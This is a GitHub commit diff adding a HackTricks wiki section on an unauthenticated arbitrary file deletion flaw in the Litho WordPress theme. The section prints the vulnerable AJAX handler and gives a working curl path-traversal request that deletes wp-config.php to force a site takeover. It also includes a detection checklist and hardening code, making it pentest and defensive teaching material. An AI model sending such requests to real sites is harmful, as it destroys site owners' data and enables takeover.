Skip to content

Commit df3435f

Browse files
authored
Merge pull request HackTricks-wiki#1216 from HackTricks-wiki/update_Unauthenticated_Arbitrary_File_Deletion_Vulnerabil_20250730_182908
Unauthenticated Arbitrary File Deletion Vulnerability in Lit...
2 parents 853d522 + 8b6e17f commit df3435f

File tree

1 file changed

+86
-0
lines changed

1 file changed

+86
-0
lines changed

‎src/network-services-pentesting/pentesting-web/wordpress.md‎

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -408,6 +408,88 @@ The `permission_callback` is a callback to function that checks if a given user
408408

409409
Of course, Wordpress uses PHP and files inside plugins are directly accessible from the web. So, in case a plugin is exposing any vulnerable functionality that is triggered just accessing the file, it's going to be exploitable by any user.
410410

411+
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
412+
413+
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
414+
415+
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
416+
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
417+
3. **Strict input sanitisation / validation**.
418+
419+
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
420+
421+
```php
422+
function litho_remove_font_family_action_data() {
423+
if ( empty( $_POST['fontfamily'] ) ) {
424+
return;
425+
}
426+
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
427+
$upload_dir = wp_upload_dir();
428+
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
429+
$filesystem = Litho_filesystem::init_filesystem();
430+
431+
if ( file_exists( $srcdir ) ) {
432+
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
433+
}
434+
die();
435+
}
436+
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
437+
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
438+
```
439+
440+
Issues introduced by this snippet:
441+
442+
* **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered.
443+
* **No nonce / capability check** – any visitor can hit the endpoint.
444+
* **No path sanitisation** – the user–controlled `fontfamily` string is concatenated to a filesystem path without filtering, allowing classic `../../` traversal.
445+
446+
#### Exploitation
447+
448+
An attacker can delete any file or directory **below the uploads base directory** (normally `<wp-root>/wp-content/uploads/`) by sending a single HTTP POST request:
449+
450+
```bash
451+
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
452+
-d 'action=litho_remove_font_family_action_data' \
453+
-d 'fontfamily=../../../../wp-config.php'
454+
```
455+
456+
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
457+
458+
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
459+
460+
#### Detection checklist
461+
462+
* Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
463+
* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`).
464+
* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`.
465+
466+
#### Hardening
467+
468+
```php
469+
function secure_remove_font_family() {
470+
if ( ! is_user_logged_in() ) {
471+
wp_send_json_error( 'forbidden', 403 );
472+
}
473+
check_ajax_referer( 'litho_fonts_nonce' );
474+
475+
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
476+
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
477+
478+
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
479+
wp_send_json_error( 'invalid path', 400 );
480+
}
481+
// … proceed …
482+
}
483+
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
484+
// 🔒 NO wp_ajax_nopriv_ registration
485+
```
486+
487+
> [!TIP]
488+
> **Always** treat any write/delete operation on disk as privileged and double-check:
489+
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
490+
491+
---
492+
411493
## WordPress Protection
412494

413495
### Regular Updates
@@ -436,4 +518,8 @@ Also, **only install trustable WordPress plugins and themes**.
436518
- **Limit login attempts** to prevent Brute Force attacks
437519
- Rename **`wp-admin.php`** file and only allow access internally or from certain IP addresses.
438520

521+
## References
522+
523+
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
524+
439525
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)